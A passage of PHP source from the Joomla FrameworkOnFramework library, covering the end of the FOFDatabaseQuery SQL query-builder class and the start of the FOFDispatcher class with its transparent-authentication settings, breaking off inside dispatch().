* Usage:
* $query->select($query->castAsChar('a'));
*
* @param string $value The value to cast as a char.
*
* @return string Returns the cast value.
*
* @since 11.1
*/
public function castAsChar($value)
{
return $value;
}
/**
* Gets the number of characters in a string.
*
* Note, use 'length' to find the number of bytes in a string.
*
* Usage:
* $query->select($query->charLength('a'));
*
* @param string $field A value.
* @param string $operator Comparison operator between charLength
integer value and $condition
* @param string $condition Integer value to compare charLength with.
*
* @return string The required char length call.
*
* @since 11.1
*/
public function charLength($field, $operator = null, $condition = null)
{
return 'CHAR_LENGTH(' . $field . ')' .
(isset($operator) && isset($condition) ? ' ' . $operator
. ' ' . $condition : '');
}
/**
* Clear data from the query or a specific clause of the query.
*
* @param string $clause Optionally, the name of the clause to clear,
or nothing to clear the whole query.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 11.1
*/
public function clear($clause = null)
{
$this->sql = null;
switch ($clause)
{
case 'select':
$this->select = null;
$this->type = null;
break;
case 'delete':
$this->delete = null;
$this->type = null;
break;
case 'update':
$this->update = null;
$this->type = null;
break;
case 'insert':
$this->insert = null;
$this->type = null;
$this->autoIncrementField = null;
break;
case 'from':
$this->from = null;
break;
case 'join':
$this->join = null;
break;
case 'set':
$this->set = null;
break;
case 'where':
$this->where = null;
break;
case 'group':
$this->group = null;
break;
case 'having':
$this->having = null;
break;
case 'order':
$this->order = null;
break;
case 'columns':
$this->columns = null;
break;
case 'values':
$this->values = null;
break;
case 'exec':
$this->exec = null;
$this->type = null;
break;
case 'call':
$this->call = null;
$this->type = null;
break;
case 'limit':
$this->offset = 0;
$this->limit = 0;
break;
case 'offset':
$this->offset = 0;
break;
case 'union':
$this->union = null;
break;
case 'unionAll':
$this->unionAll = null;
break;
default:
$this->type = null;
$this->select = null;
$this->delete = null;
$this->update = null;
$this->insert = null;
$this->from = null;
$this->join = null;
$this->set = null;
$this->where = null;
$this->group = null;
$this->having = null;
$this->order = null;
$this->columns = null;
$this->values = null;
$this->autoIncrementField = null;
$this->exec = null;
$this->call = null;
$this->union = null;
$this->unionAll = null;
$this->offset = 0;
$this->limit = 0;
break;
}
return $this;
}
/**
* Adds a column, or array of column names that would be used for an
INSERT INTO statement.
*
* @param mixed $columns A column name, or array of column names.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 11.1
*/
public function columns($columns)
{
if (is_null($this->columns))
{
$this->columns = new FOFDatabaseQueryElement('()',
$columns);
}
else
{
$this->columns->append($columns);
}
return $this;
}
/**
* Concatenates an array of column names or values.
*
* Usage:
* $query->select($query->concatenate(array('a',
'b')));
*
* @param array $values An array of values to concatenate.
* @param string $separator As separator to place between each value.
*
* @return string The concatenated values.
*
* @since 11.1
*/
public function concatenate($values, $separator = null)
{
if ($separator)
{
return 'CONCATENATE(' . implode(' || ' .
$this->quote($separator) . ' || ', $values) . ')';
}
else
{
return 'CONCATENATE(' . implode(' || ', $values) .
')';
}
}
/**
* Gets the current date and time.
*
* Usage:
* $query->where('published_up <
'.$query->currentTimestamp());
*
* @return string
*
* @since 11.1
*/
public function currentTimestamp()
{
return 'CURRENT_TIMESTAMP()';
}
/**
* Returns a PHP date() function compliant date format for the database
driver.
*
* This method is provided for use where the query object is passed to a
function for modification.
* If you have direct access to the database object, it is recommended you
use the getDateFormat method directly.
*
* @return string The format string.
*
* @since 11.1
*/
public function dateFormat()
{
if (!($this->db instanceof FOFDatabaseDriver))
{
throw new
RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
}
return $this->db->getDateFormat();
}
/**
* Creates a formatted dump of the query for debugging purposes.
*
* Usage:
* echo $query->dump();
*
* @return string
*
* @since 11.3
*/
public function dump()
{
return '<pre class="FOFDatabasequery">' .
str_replace('#__', $this->db->getPrefix(), $this) .
'</pre>';
}
/**
* Add a table name to the DELETE clause of the query.
*
* Note that you must not mix insert, update, delete and select method
calls when building a query.
*
* Usage:
* $query->delete('#__a')->where('id = 1');
*
* @param string $table The name of the table to delete from.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 11.1
*/
public function delete($table = null)
{
$this->type = 'delete';
$this->delete = new FOFDatabaseQueryElement('DELETE', null);
if (!empty($table))
{
$this->from($table);
}
return $this;
}
/**
* Method to escape a string for usage in an SQL statement.
*
* This method is provided for use where the query object is passed to a
function for modification.
* If you have direct access to the database object, it is recommended you
use the escape method directly.
*
* Note that 'e' is an alias for this method as it is in
FOFDatabaseDriver.
*
* @param string $text The string to be escaped.
* @param boolean $extra Optional parameter to provide extra escaping.
*
* @return string The escaped string.
*
* @since 11.1
* @throws RuntimeException if the internal db property is not a valid
object.
*/
public function escape($text, $extra = false)
{
if (!($this->db instanceof FOFDatabaseDriver))
{
throw new
RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
}
return $this->db->escape($text, $extra);
}
/**
* Add a single column, or array of columns to the EXEC clause of the
query.
*
* Note that you must not mix insert, update, delete and select method
calls when building a query.
* The exec method can, however, be called multiple times in the same
query.
*
* Usage:
* $query->exec('a.*')->exec('b.id');
* $query->exec(array('a.*', 'b.id'));
*
* @param mixed $columns A string or an array of field names.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 12.1
*/
public function exec($columns)
{
$this->type = 'exec';
if (is_null($this->exec))
{
$this->exec = new FOFDatabaseQueryElement('EXEC',
$columns);
}
else
{
$this->exec->append($columns);
}
return $this;
}
/**
* Add a table to the FROM clause of the query.
*
* Note that while an array of tables can be provided, it is recommended
you use explicit joins.
*
* Usage:
* $query->select('*')->from('#__a');
*
* @param mixed $tables A string or array of table names.
* This can be a FOFDatabaseQuery object
(or a child of it) when used
* as a subquery in FROM clause along
with a value for $subQueryAlias.
* @param string $subQueryAlias Alias used when $tables is a
FOFDatabaseQuery.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @throws RuntimeException
*
* @since 11.1
*/
public function from($tables, $subQueryAlias = null)
{
if (is_null($this->from))
{
if ($tables instanceof $this)
{
if (is_null($subQueryAlias))
{
throw new
RuntimeException('JLIB_DATABASE_ERROR_NULL_SUBQUERY_ALIAS');
}
$tables = '( ' . (string) $tables . ' ) AS ' .
$this->quoteName($subQueryAlias);
}
$this->from = new FOFDatabaseQueryElement('FROM', $tables);
}
else
{
$this->from->append($tables);
}
return $this;
}
/**
* Used to get a string to extract year from date column.
*
* Usage:
*
$query->select($query->year($query->quoteName('dateColumn')));
*
* @param string $date Date column containing year to be extracted.
*
* @return string Returns string to extract year from a date.
*
* @since 12.1
*/
public function year($date)
{
return 'YEAR(' . $date . ')';
}
/**
* Used to get a string to extract month from date column.
*
* Usage:
*
$query->select($query->month($query->quoteName('dateColumn')));
*
* @param string $date Date column containing month to be extracted.
*
* @return string Returns string to extract month from a date.
*
* @since 12.1
*/
public function month($date)
{
return 'MONTH(' . $date . ')';
}
/**
* Used to get a string to extract day from date column.
*
* Usage:
*
$query->select($query->day($query->quoteName('dateColumn')));
*
* @param string $date Date column containing day to be extracted.
*
* @return string Returns string to extract day from a date.
*
* @since 12.1
*/
public function day($date)
{
return 'DAY(' . $date . ')';
}
/**
* Used to get a string to extract hour from date column.
*
* Usage:
*
$query->select($query->hour($query->quoteName('dateColumn')));
*
* @param string $date Date column containing hour to be extracted.
*
* @return string Returns string to extract hour from a date.
*
* @since 12.1
*/
public function hour($date)
{
return 'HOUR(' . $date . ')';
}
/**
* Used to get a string to extract minute from date column.
*
* Usage:
*
$query->select($query->minute($query->quoteName('dateColumn')));
*
* @param string $date Date column containing minute to be extracted.
*
* @return string Returns string to extract minute from a date.
*
* @since 12.1
*/
public function minute($date)
{
return 'MINUTE(' . $date . ')';
}
/**
* Used to get a string to extract seconds from date column.
*
* Usage:
*
$query->select($query->second($query->quoteName('dateColumn')));
*
* @param string $date Date column containing second to be extracted.
*
* @return string Returns string to extract second from a date.
*
* @since 12.1
*/
public function second($date)
{
return 'SECOND(' . $date . ')';
}
/**
* Add a grouping column to the GROUP clause of the query.
*
* Usage:
* $query->group('id');
*
* @param mixed $columns A string or array of ordering columns.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 11.1
*/
public function group($columns)
{
if (is_null($this->group))
{
$this->group = new FOFDatabaseQueryElement('GROUP BY',
$columns);
}
else
{
$this->group->append($columns);
}
return $this;
}
/**
* A conditions to the HAVING clause of the query.
*
* Usage:
* $query->group('id')->having('COUNT(id) >
5');
*
* @param mixed $conditions A string or array of columns.
* @param string $glue The glue by which to join the conditions.
Defaults to AND.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 11.1
*/
public function having($conditions, $glue = 'AND')
{
if (is_null($this->having))
{
$glue = strtoupper($glue);
$this->having = new FOFDatabaseQueryElement('HAVING',
$conditions, " $glue ");
}
else
{
$this->having->append($conditions);
}
return $this;
}
/**
* Add an INNER JOIN clause to the query.
*
* Usage:
* $query->innerJoin('b ON b.id =
a.id')->innerJoin('c ON c.id = b.id');
*
* @param string $condition The join condition.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 11.1
*/
public function innerJoin($condition)
{
$this->join('INNER', $condition);
return $this;
}
/**
* Add a table name to the INSERT clause of the query.
*
* Note that you must not mix insert, update, delete and select method
calls when building a query.
*
* Usage:
* $query->insert('#__a')->set('id = 1');
* $query->insert('#__a')->columns('id,
title')->values('1,2')->values('3,4');
* $query->insert('#__a')->columns('id,
title')->values(array('1,2', '3,4'));
*
* @param mixed $table The name of the table to insert data
into.
* @param boolean $incrementField The name of the field to auto
increment.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 11.1
*/
public function insert($table, $incrementField=false)
{
$this->type = 'insert';
$this->insert = new FOFDatabaseQueryElement('INSERT INTO',
$table);
$this->autoIncrementField = $incrementField;
return $this;
}
/**
* Add a JOIN clause to the query.
*
* Usage:
* $query->join('INNER', 'b ON b.id = a.id);
*
* @param string $type The type of join. This string is
prepended to the JOIN keyword.
* @param string $conditions A string or array of conditions.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 11.1
*/
public function join($type, $conditions)
{
if (is_null($this->join))
{
$this->join = array();
}
$this->join[] = new FOFDatabaseQueryElement(strtoupper($type) . '
JOIN', $conditions);
return $this;
}
/**
* Add a LEFT JOIN clause to the query.
*
* Usage:
* $query->leftJoin('b ON b.id = a.id')->leftJoin('c
ON c.id = b.id');
*
* @param string $condition The join condition.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 11.1
*/
public function leftJoin($condition)
{
$this->join('LEFT', $condition);
return $this;
}
/**
* Get the length of a string in bytes.
*
* Note, use 'charLength' to find the number of characters in a
string.
*
* Usage:
* query->where($query->length('a').' > 3');
*
* @param string $value The string to measure.
*
* @return int
*
* @since 11.1
*/
public function length($value)
{
return 'LENGTH(' . $value . ')';
}
/**
* Get the null or zero representation of a timestamp for the database
driver.
*
* This method is provided for use where the query object is passed to a
function for modification.
* If you have direct access to the database object, it is recommended you
use the nullDate method directly.
*
* Usage:
* $query->where('modified_date <>
'.$query->nullDate());
*
* @param boolean $quoted Optionally wraps the null date in database
quotes (true by default).
*
* @return string Null or zero representation of a timestamp.
*
* @since 11.1
*/
public function nullDate($quoted = true)
{
if (!($this->db instanceof FOFDatabaseDriver))
{
throw new
RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
}
$result = $this->db->getNullDate($quoted);
if ($quoted)
{
return $this->db->quote($result);
}
return $result;
}
/**
* Add a ordering column to the ORDER clause of the query.
*
* Usage:
* $query->order('foo')->order('bar');
* $query->order(array('foo','bar'));
*
* @param mixed $columns A string or array of ordering columns.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 11.1
*/
public function order($columns)
{
if (is_null($this->order))
{
$this->order = new FOFDatabaseQueryElement('ORDER BY',
$columns);
}
else
{
$this->order->append($columns);
}
return $this;
}
/**
* Add an OUTER JOIN clause to the query.
*
* Usage:
* $query->outerJoin('b ON b.id =
a.id')->outerJoin('c ON c.id = b.id');
*
* @param string $condition The join condition.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 11.1
*/
public function outerJoin($condition)
{
$this->join('OUTER', $condition);
return $this;
}
/**
* Method to quote and optionally escape a string to database requirements
for insertion into the database.
*
* This method is provided for use where the query object is passed to a
function for modification.
* If you have direct access to the database object, it is recommended you
use the quote method directly.
*
* Note that 'q' is an alias for this method as it is in
FOFDatabaseDriver.
*
* Usage:
* $query->quote('fulltext');
* $query->q('fulltext');
* $query->q(array('option', 'fulltext'));
*
* @param mixed $text A string or an array of strings to quote.
* @param boolean $escape True to escape the string, false to leave it
unchanged.
*
* @return string The quoted input string.
*
* @since 11.1
* @throws RuntimeException if the internal db property is not a valid
object.
*/
public function quote($text, $escape = true)
{
if (!($this->db instanceof FOFDatabaseDriver))
{
throw new
RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
}
return $this->db->quote($text, $escape);
}
/**
* Wrap an SQL statement identifier name such as column, table or database
names in quotes to prevent injection
* risks and reserved word conflicts.
*
* This method is provided for use where the query object is passed to a
function for modification.
* If you have direct access to the database object, it is recommended you
use the quoteName method directly.
*
* Note that 'qn' is an alias for this method as it is in
FOFDatabaseDriver.
*
* Usage:
* $query->quoteName('#__a');
* $query->qn('#__a');
*
* @param mixed $name The identifier name to wrap in quotes, or an
array of identifier names to wrap in quotes.
* Each type supports dot-notation name.
* @param mixed $as The AS query part associated to $name. It can be
string or array, in latter case it has to be
* same length of $name; if is null there will not
be any AS part for string or array element.
*
* @return mixed The quote wrapped name, same type of $name.
*
* @since 11.1
* @throws RuntimeException if the internal db property is not a valid
object.
*/
public function quoteName($name, $as = null)
{
if (!($this->db instanceof FOFDatabaseDriver))
{
throw new
RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
}
return $this->db->quoteName($name, $as);
}
/**
* Add a RIGHT JOIN clause to the query.
*
* Usage:
* $query->rightJoin('b ON b.id =
a.id')->rightJoin('c ON c.id = b.id');
*
* @param string $condition The join condition.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 11.1
*/
public function rightJoin($condition)
{
$this->join('RIGHT', $condition);
return $this;
}
/**
* Add a single column, or array of columns to the SELECT clause of the
query.
*
* Note that you must not mix insert, update, delete and select method
calls when building a query.
* The select method can, however, be called multiple times in the same
query.
*
* Usage:
* $query->select('a.*')->select('b.id');
* $query->select(array('a.*', 'b.id'));
*
* @param mixed $columns A string or an array of field names.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 11.1
*/
public function select($columns)
{
$this->type = 'select';
if (is_null($this->select))
{
$this->select = new FOFDatabaseQueryElement('SELECT',
$columns);
}
else
{
$this->select->append($columns);
}
return $this;
}
/**
* Add a single condition string, or an array of strings to the SET clause
of the query.
*
* Usage:
* $query->set('a = 1')->set('b = 2');
* $query->set(array('a = 1', 'b = 2');
*
* @param mixed $conditions A string or array of string conditions.
* @param string $glue The glue by which to join the condition
strings. Defaults to ,.
* Note that the glue is set on first use
and cannot be changed.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 11.1
*/
public function set($conditions, $glue = ',')
{
if (is_null($this->set))
{
$glue = strtoupper($glue);
$this->set = new FOFDatabaseQueryElement('SET',
$conditions, "\n\t$glue ");
}
else
{
$this->set->append($conditions);
}
return $this;
}
/**
* Allows a direct query to be provided to the database
* driver's setQuery() method, but still allow queries
* to have bounded variables.
*
* Usage:
* $query->setQuery('select * from #__users');
*
* @param mixed $sql An SQL Query
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 12.1
*/
public function setQuery($sql)
{
$this->sql = $sql;
return $this;
}
/**
* Add a table name to the UPDATE clause of the query.
*
* Note that you must not mix insert, update, delete and select method
calls when building a query.
*
* Usage:
* $query->update('#__foo')->set(...);
*
* @param string $table A table to update.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 11.1
*/
public function update($table)
{
$this->type = 'update';
$this->update = new FOFDatabaseQueryElement('UPDATE',
$table);
return $this;
}
/**
* Adds a tuple, or array of tuples that would be used as values for an
INSERT INTO statement.
*
* Usage:
* $query->values('1,2,3')->values('4,5,6');
* $query->values(array('1,2,3', '4,5,6'));
*
* @param string $values A single tuple, or array of tuples.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 11.1
*/
public function values($values)
{
if (is_null($this->values))
{
$this->values = new FOFDatabaseQueryElement('()', $values,
'),(');
}
else
{
$this->values->append($values);
}
return $this;
}
/**
* Add a single condition, or an array of conditions to the WHERE clause
of the query.
*
* Usage:
* $query->where('a = 1')->where('b = 2');
* $query->where(array('a = 1', 'b = 2'));
*
* @param mixed $conditions A string or array of where conditions.
* @param string $glue The glue by which to join the conditions.
Defaults to AND.
* Note that the glue is set on first use
and cannot be changed.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 11.1
*/
public function where($conditions, $glue = 'AND')
{
if (is_null($this->where))
{
$glue = strtoupper($glue);
$this->where = new FOFDatabaseQueryElement('WHERE',
$conditions, " $glue ");
}
else
{
$this->where->append($conditions);
}
return $this;
}
/**
* Method to provide deep copy support to nested objects and
* arrays when cloning.
*
* @return void
*
* @since 11.3
*/
public function __clone()
{
foreach ($this as $k => $v)
{
if ($k === 'db')
{
continue;
}
if (is_object($v) || is_array($v))
{
$this->{$k} = unserialize(serialize($v));
}
}
}
/**
* Add a query to UNION with the current query.
* Multiple unions each require separate statements and create an array of
unions.
*
* Usage (the $query base query MUST be a select query):
* $query->union('SELECT name FROM #__foo')
* $query->union('SELECT name FROM #__foo', true)
* $query->union(array('SELECT name FROM
#__foo','SELECT name FROM #__bar'))
* $query->union($query2)->union($query3)
* $query->union(array($query2, $query3))
*
* @param mixed $query The FOFDatabaseQuery object or string to
union.
* @param boolean $distinct True to only return distinct rows from the
union.
* @param string $glue The glue by which to join the conditions.
*
* @return mixed The FOFDatabaseQuery object on success or boolean
false on failure.
*
* @see http://dev.mysql.com/doc/refman/5.0/en/union.html
*
* @since 12.1
*/
public function union($query, $distinct = false, $glue = '')
{
// Set up the DISTINCT flag, the name with parentheses, and the glue.
if ($distinct)
{
$name = 'UNION DISTINCT ()';
$glue = ')' . PHP_EOL . 'UNION DISTINCT (';
}
else
{
$glue = ')' . PHP_EOL . 'UNION (';
$name = 'UNION ()';
}
// Get the FOFDatabaseQueryElement if it does not exist
if (is_null($this->union))
{
$this->union = new FOFDatabaseQueryElement($name, $query,
"$glue");
}
// Otherwise append the second UNION.
else
{
$this->union->append($query);
}
return $this;
}
/**
* Add a query to UNION DISTINCT with the current query. Simply a proxy to
union with the DISTINCT keyword.
*
* Usage:
* $query->unionDistinct('SELECT name FROM #__foo')
*
* @param mixed $query The FOFDatabaseQuery object or string to
union.
* @param string $glue The glue by which to join the conditions.
*
* @return mixed The FOFDatabaseQuery object on success or boolean
false on failure.
*
* @see union
*
* @since 12.1
*/
public function unionDistinct($query, $glue = '')
{
$distinct = true;
// Apply the distinct flag to the union.
return $this->union($query, $distinct, $glue);
}
/**
* Find and replace sprintf-like tokens in a format string.
* Each token takes one of the following forms:
* %% - A literal percent character.
* %[t] - Where [t] is a type specifier.
* %[n]$[x] - Where [n] is an argument specifier and [t] is a type
specifier.
*
* Types:
* a - Numeric: Replacement text is coerced to a numeric type but not
quoted or escaped.
* e - Escape: Replacement text is passed to $this->escape().
* E - Escape (extra): Replacement text is passed to $this->escape()
with true as the second argument.
* n - Name Quote: Replacement text is passed to $this->quoteName().
* q - Quote: Replacement text is passed to $this->quote().
* Q - Quote (no escape): Replacement text is passed to $this->quote()
with false as the second argument.
* r - Raw: Replacement text is used as-is. (Be careful)
*
* Date Types:
* - Replacement text automatically quoted (use uppercase for Name Quote).
* - Replacement text should be a string in date format or name of a date
column.
* y/Y - Year
* m/M - Month
* d/D - Day
* h/H - Hour
* i/I - Minute
* s/S - Second
*
* Invariable Types:
* - Takes no argument.
* - Argument index not incremented.
* t - Replacement text is the result of $this->currentTimestamp().
* z - Replacement text is the result of $this->nullDate(false).
* Z - Replacement text is the result of $this->nullDate(true).
*
* Usage:
* $query->format('SELECT %1$n FROM %2$n WHERE %3$n = %4$a',
'foo', '#__foo', 'bar', 1);
* Returns: SELECT `foo` FROM `#__foo` WHERE `bar` = 1
*
* Notes:
* The argument specifier is optional but recommended for clarity.
* The argument index used for unspecified tokens is incremented only when
used.
*
* @param string $format The formatting string.
*
* @return string Returns a string produced according to the formatting
string.
*
* @since 12.3
*/
public function format($format)
{
$query = $this;
$args = array_slice(func_get_args(), 1);
array_unshift($args, null);
$i = 1;
$func = function ($match) use ($query, $args, &$i)
{
if (isset($match[6]) && $match[6] == '%')
{
return '%';
}
// No argument required, do not increment the argument index.
switch ($match[5])
{
case 't':
return $query->currentTimestamp();
break;
case 'z':
return $query->nullDate(false);
break;
case 'Z':
return $query->nullDate(true);
break;
}
// Increment the argument index only if argument specifier not provided.
$index = is_numeric($match[4]) ? (int) $match[4] : $i++;
if (!$index || !isset($args[$index]))
{
// TODO - What to do? sprintf() throws a Warning in these cases.
$replacement = '';
}
else
{
$replacement = $args[$index];
}
switch ($match[5])
{
case 'a':
return 0 + $replacement;
break;
case 'e':
return $query->escape($replacement);
break;
case 'E':
return $query->escape($replacement, true);
break;
case 'n':
return $query->quoteName($replacement);
break;
case 'q':
return $query->quote($replacement);
break;
case 'Q':
return $query->quote($replacement, false);
break;
case 'r':
return $replacement;
break;
// Dates
case 'y':
return $query->year($query->quote($replacement));
break;
case 'Y':
return $query->year($query->quoteName($replacement));
break;
case 'm':
return $query->month($query->quote($replacement));
break;
case 'M':
return $query->month($query->quoteName($replacement));
break;
case 'd':
return $query->day($query->quote($replacement));
break;
case 'D':
return $query->day($query->quoteName($replacement));
break;
case 'h':
return $query->hour($query->quote($replacement));
break;
case 'H':
return $query->hour($query->quoteName($replacement));
break;
case 'i':
return $query->minute($query->quote($replacement));
break;
case 'I':
return $query->minute($query->quoteName($replacement));
break;
case 's':
return $query->second($query->quote($replacement));
break;
case 'S':
return $query->second($query->quoteName($replacement));
break;
}
return '';
};
/**
* Regexp to find an replace all tokens.
* Matched fields:
* 0: Full token
* 1: Everything following '%'
* 2: Everything following '%' unless '%'
* 3: Argument specifier and '$'
* 4: Argument specifier
* 5: Type specifier
* 6: '%' if full token is '%%'
*/
return
preg_replace_callback('#%(((([\d]+)\$)?([aeEnqQryYmMdDhHiIsStzZ]))|(%))#',
$func, $format);
}
/**
* Add to the current date and time.
* Usage:
* $query->select($query->dateAdd());
* Prefixing the interval with a - (negative sign) will cause subtraction
to be used.
* Note: Not all drivers support all units.
*
* @param datetime $date The date to add to. May be date or
datetime
* @param string $interval The string representation of the
appropriate number of units
* @param string $datePart The part of the date to perform the
addition on
*
* @return string The string with the appropriate sql for addition of
dates
*
* @link
http://dev.mysql.com/doc/refman/5.1/en/date-and-time-functions.html#function_date-add
* @since 13.1
*/
public function dateAdd($date, $interval, $datePart)
{
return trim("DATE_ADD('" . $date . "', INTERVAL
" . $interval . ' ' . $datePart . ')');
}
/**
* Add a query to UNION ALL with the current query.
* Multiple unions each require separate statements and create an array of
unions.
*
* Usage:
* $query->union('SELECT name FROM #__foo')
* $query->union(array('SELECT name FROM
#__foo','SELECT name FROM #__bar'))
*
* @param mixed $query The FOFDatabaseQuery object or string to
union.
* @param boolean $distinct Not used - ignored.
* @param string $glue Not used - ignored.
*
* @return mixed The FOFDatabaseQuery object on success or boolean
false on failure.
*
* @see union
*
* @since 13.1
*/
public function unionAll($query, $distinct = false, $glue = '')
{
$glue = ')' . PHP_EOL . 'UNION ALL (';
$name = 'UNION ALL ()';
// Get the FOFDatabaseQueryElement if it does not exist
if (is_null($this->unionAll))
{
$this->unionAll = new FOFDatabaseQueryElement($name, $query,
"$glue");
}
// Otherwise append the second UNION.
else
{
$this->unionAll->append($query);
}
return $this;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage dispatcher
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework dispatcher class
*
* FrameworkOnFramework is a set of classes which extend Joomla! 1.5 and
later's
* MVC framework with features making maintaining complex software much
easier,
* without tedious repetitive copying of the same code over and over again.
*
* @package FrameworkOnFramework
* @since 1.0
*/
class FOFDispatcher extends FOFUtilsObject
{
/** @var array Configuration variables */
protected $config = array();
/** @var FOFInput Input variables */
protected $input = array();
/** @var string The name of the default view, in case none is specified */
public $defaultView = 'cpanel';
// Variables for FOF's transparent user authentication. You can
override them
// in your Dispatcher's __construct() method.
/** @var int The Time Step for the TOTP used in FOF's transparent
user authentication */
protected $fofAuth_timeStep = 6;
/** @var string The key for the TOTP, Base32 encoded (watch out; Base32,
NOT Base64!) */
protected $fofAuth_Key = null;
/** @var array Which formats to be handled by transparent authentication
*/
protected $fofAuth_Formats = array('json', 'csv',
'xml', 'raw');
/**
* Should I logout the transparently authenticated user on logout?
* Recommended to leave it on in order to avoid crashing the sessions
table.
*
* @var boolean
*/
protected $fofAuth_LogoutOnReturn = true;
/** @var array Which methods to use to fetch authentication credentials
and in which order */
protected $fofAuth_AuthMethods = array(
/* HTTP Basic Authentication using encrypted information protected
* with a TOTP (the username must be "_fof_auth") */
'HTTPBasicAuth_TOTP',
/* Encrypted information protected with a TOTP passed in the
* _fofauthentication query string parameter */
'QueryString_TOTP',
/* HTTP Basic Authentication using a username and password pair in plain
text */
'HTTPBasicAuth_Plaintext',
/* Plaintext, JSON-encoded username and password pair passed in the
* _fofauthentication query string parameter */
'QueryString_Plaintext',
/* Plaintext username and password in the _fofauthentication_username
* and _fofauthentication_username query string parameters */
'SplitQueryString_Plaintext',
);
/** @var bool Did we successfully and transparently logged in a user? */
private $_fofAuth_isLoggedIn = false;
/** @var string The calculated encryption key for the _TOTP methods, used
if we have to encrypt the reply */
private $_fofAuth_CryptoKey = '';
/**
* Get a static (Singleton) instance of a particular Dispatcher
*
* @param string $option The component name
* @param string $view The View name
* @param array $config Configuration data
*
* @staticvar array $instances Holds the array of Dispatchers FOF knows
about
*
* @return FOFDispatcher
*/
public static function &getAnInstance($option = null, $view = null,
$config = array())
{
static $instances = array();
$hash = $option . $view;
if (!array_key_exists($hash, $instances))
{
$instances[$hash] = self::getTmpInstance($option, $view, $config);
}
return $instances[$hash];
}
/**
* Gets a temporary instance of a Dispatcher
*
* @param string $option The component name
* @param string $view The View name
* @param array $config Configuration data
*
* @return FOFDispatcher
*/
public static function &getTmpInstance($option = null, $view = null,
$config = array())
{
if (array_key_exists('input', $config))
{
if ($config['input'] instanceof FOFInput)
{
$input = $config['input'];
}
else
{
if (!is_array($config['input']))
{
$config['input'] = (array) $config['input'];
}
$config['input'] = array_merge($_REQUEST,
$config['input']);
$input = new FOFInput($config['input']);
}
}
else
{
$input = new FOFInput;
}
$config['option'] = !is_null($option) ? $option :
$input->getCmd('option', 'com_foobar');
$config['view'] = !is_null($view) ? $view :
$input->getCmd('view', '');
$input->set('option', $config['option']);
$input->set('view', $config['view']);
$config['input'] = $input;
$className = ucfirst(str_replace('com_', '',
$config['option'])) . 'Dispatcher';
if (!class_exists($className))
{
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($config['option']);
$searchPaths = array(
$componentPaths['main'],
$componentPaths['main'] . '/dispatchers',
$componentPaths['admin'],
$componentPaths['admin'] . '/dispatchers'
);
if (array_key_exists('searchpath', $config))
{
array_unshift($searchPaths, $config['searchpath']);
}
$filesystem =
FOFPlatform::getInstance()->getIntegrationObject('filesystem');
$path = $filesystem->pathFind(
$searchPaths, 'dispatcher.php'
);
if ($path)
{
require_once $path;
}
}
if (!class_exists($className))
{
$className = 'FOFDispatcher';
}
$instance = new $className($config);
return $instance;
}
/**
* Public constructor
*
* @param array $config The configuration variables
*/
public function __construct($config = array())
{
// Cache the config
$this->config = $config;
// Get the input for this MVC triad
if (array_key_exists('input', $config))
{
$this->input = $config['input'];
}
else
{
$this->input = new FOFInput;
}
// Get the default values for the component name
$this->component = $this->input->getCmd('option',
'com_foobar');
// Load the component's fof.xml configuration file
$configProvider = new FOFConfigProvider;
$this->defaultView = $configProvider->get($this->component .
'.dispatcher.default_view', $this->defaultView);
// Get the default values for the view name
$this->view = $this->input->getCmd('view', null);
if (empty($this->view))
{
// Do we have a task formatted as controller.task?
$task = $this->input->getCmd('task', '');
if (!empty($task) && (strstr($task, '.') !== false))
{
list($this->view, $task) = explode('.', $task, 2);
$this->input->set('task', $task);
}
}
if (empty($this->view))
{
$this->view = $this->defaultView;
}
$this->layout = $this->input->getCmd('layout', null);
// Overrides from the config
if (array_key_exists('option', $config))
{
$this->component = $config['option'];
}
if (array_key_exists('view', $config))
{
$this->view = empty($config['view']) ? $this->view :
$config['view'];
}
if (array_key_exists('layout', $config))
{
$this->layout = $config['layout'];
}
$this->input->set('option', $this->component);
$this->input->set('view', $this->view);
$this->input->set('layout', $this->layout);
if (array_key_exists('authTimeStep', $config))
{
$this->fofAuth_timeStep = empty($config['authTimeStep']) ?
6 : $config['authTimeStep'];
}
}
/**
* The main code of the Dispatcher. It spawns the necessary controller
and
* runs it.
*
* @throws Exception
*
* @return void|Exception
*/
public function dispatch()
{
$platform = FOFPlatform::getInstance();
if
(!$platform->authorizeAdmin($this->input->getCmd('option',
'com_foobar')))
{
return $platform->raiseError(403,
JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'));
}
$this->transparentAuthentication();
// Merge English and local translations
$platform->loadTranslations($this->component);
